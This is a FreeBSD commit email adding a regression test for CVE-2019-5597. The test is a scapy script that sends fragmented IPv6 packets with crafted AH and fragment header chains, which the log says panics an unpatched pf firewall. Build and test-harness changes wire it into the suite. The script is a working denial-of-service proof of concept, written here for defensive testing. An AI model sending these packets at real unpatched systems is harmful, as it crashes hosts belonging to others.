From owner-svn-src-stable-12@freebsd.org Tue Mar 5 08:45:08 2019 Return-Path: Delivered-To: svn-src-stable-12@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id 57C71151DDB4; Tue, 5 Mar 2019 08:45:08 +0000 (UTC) (envelope-from kp@FreeBSD.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) server-signature RSA-PSS (4096 bits) client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "Let's Encrypt Authority X3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id F2A8C86989; Tue, 5 Mar 2019 08:45:07 +0000 (UTC) (envelope-from kp@FreeBSD.org) Received: from repo.freebsd.org (repo.freebsd.org [IPv6:2610:1c1:1:6068::e6a:0]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id E5887199ED; Tue, 5 Mar 2019 08:45:07 +0000 (UTC) (envelope-from kp@FreeBSD.org) Received: from repo.freebsd.org ([127.0.1.37]) by repo.freebsd.org (8.15.2/8.15.2) with ESMTP id x258j72Z035160; Tue, 5 Mar 2019 08:45:07 GMT (envelope-from kp@FreeBSD.org) Received: (from kp@localhost) by repo.freebsd.org (8.15.2/8.15.2/Submit) id x258j7T2035155; Tue, 5 Mar 2019 08:45:07 GMT (envelope-from kp@FreeBSD.org) Message-Id: <201903050845.x258j7T2035155@repo.freebsd.org> X-Authentication-Warning: repo.freebsd.org: kp set sender to kp@FreeBSD.org using -f From: Kristof Provost Date: Tue, 5 Mar 2019 08:45:07 +0000 (UTC) To: src-committers@freebsd.org, svn-src-all@freebsd.org, svn-src-stable@freebsd.org, svn-src-stable-12@freebsd.org Subject: svn commit: r344793 - stable/12/tests/sys/netpfil/pf X-SVN-Group: stable-12 X-SVN-Commit-Author: kp X-SVN-Commit-Paths: stable/12/tests/sys/netpfil/pf X-SVN-Commit-Revision: 344793 X-SVN-Commit-Repository: base MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Rspamd-Queue-Id: F2A8C86989 X-Spamd-Bar: -- Authentication-Results: mx1.freebsd.org X-Spamd-Result: default: False [-2.95 / 15.00]; local_wl_from(0.00)[FreeBSD.org]; NEURAL_HAM_MEDIUM(-1.00)[-1.000,0]; NEURAL_HAM_SHORT(-0.96)[-0.955,0]; ASN(0.00)[asn:11403, ipnet:2610:1c1:1::/48, country:US]; NEURAL_HAM_LONG(-1.00)[-1.000,0] X-BeenThere: svn-src-stable-12@freebsd.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: SVN commit messages for only the 12-stable src tree List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Mar 2019 08:45:08 -0000 Author: kp Date: Tue Mar 5 08:45:07 2019 New Revision: 344793 URL: https://svnweb.freebsd.org/changeset/base/344793 Log: MFC r344692: pf tests: Test CVE-2019-5597 Generate a fragmented packet with different header chains, to provoke the incorrect behaviour of pf. Without the fix this will trigger a panic. Obtained from: Corentin Bayet, Nicolas Collignon, Luca Moro at Synacktiv Added: stable/12/tests/sys/netpfil/pf/CVE-2019-5597.py - copied unchanged from r344692, head/tests/sys/netpfil/pf/CVE-2019-5597.py Modified: stable/12/tests/sys/netpfil/pf/Makefile stable/12/tests/sys/netpfil/pf/fragmentation.sh Directory Properties: stable/12/ (props changed) Copied: stable/12/tests/sys/netpfil/pf/CVE-2019-5597.py (from r344692, head/tests/sys/netpfil/pf/CVE-2019-5597.py) ============================================================================== --- /dev/null 00:00:00 1970 (empty, because file is newly added) +++ stable/12/tests/sys/netpfil/pf/CVE-2019-5597.py Tue Mar 5 08:45:07 2019 (r344793, copy of r344692, head/tests/sys/netpfil/pf/CVE-2019-5597.py) @@ -0,0 +1,35 @@ +#!/usr/local/bin/python2.7 + +import random +import scapy.all as sp +import sys + +UDP_PROTO = 17 +AH_PROTO = 51 +FRAG_PROTO = 44 + +def main(): + intf = sys.argv[1] + ipv6_src = sys.argv[2] + ipv6_dst = sys.argv[3] + + ipv6_main = sp.IPv6(dst=ipv6_dst, src=ipv6_src) + + padding = 8 + fid = random.randint(0,100000) + frag_0 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=1, offset=0) + frag_1 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=0, offset=padding/8) + + pkt1_opts = sp.AH(nh=AH_PROTO, payloadlen=200) \ + / sp.Raw('XXXX' * 199) \ + / sp.AH(nh=FRAG_PROTO, payloadlen=1) \ + / frag_1 + + pkt0 = sp.Ether() / ipv6_main / frag_0 / sp.Raw('A' * padding) + pkt1 = sp.Ether() / ipv6_main / pkt1_opts / sp.Raw('B' * padding) + + sp.sendp(pkt0, iface=intf, verbose=False) + sp.sendp(pkt1, iface=intf, verbose=False) + +if __name__ == '__main__': + main() Modified: stable/12/tests/sys/netpfil/pf/Makefile ============================================================================== --- stable/12/tests/sys/netpfil/pf/Makefile Tue Mar 5 08:33:14 2019 (r344792) +++ stable/12/tests/sys/netpfil/pf/Makefile Tue Mar 5 08:45:07 2019 (r344793) @@ -19,8 +19,10 @@ ATF_TESTS_SH+= anchor \ ${PACKAGE}FILES+= utils.subr \ echo_inetd.conf \ - pft_ping.py + pft_ping.py \ + CVE-2019-5597.py ${PACKAGE}FILESMODE_pft_ping.py= 0555 +${PACKAGE}FILESMODE_CVE-2019-5597.py= 0555 .include Modified: stable/12/tests/sys/netpfil/pf/fragmentation.sh ============================================================================== --- stable/12/tests/sys/netpfil/pf/fragmentation.sh Tue Mar 5 08:33:14 2019 (r344792) +++ stable/12/tests/sys/netpfil/pf/fragmentation.sh Tue Mar 5 08:45:07 2019 (r344793) @@ -104,6 +104,11 @@ v6_body() atf_check -s exit:0 -o ignore\ ping6 -c 1 -b 70000 -s 65000 2001:db8:43::3 + + $(atf_get_srcdir)/CVE-2019-5597.py \ + ${epair_send}a \ + 2001:db8:42::1 \ + 2001:db8:43::3 } v6_cleanup()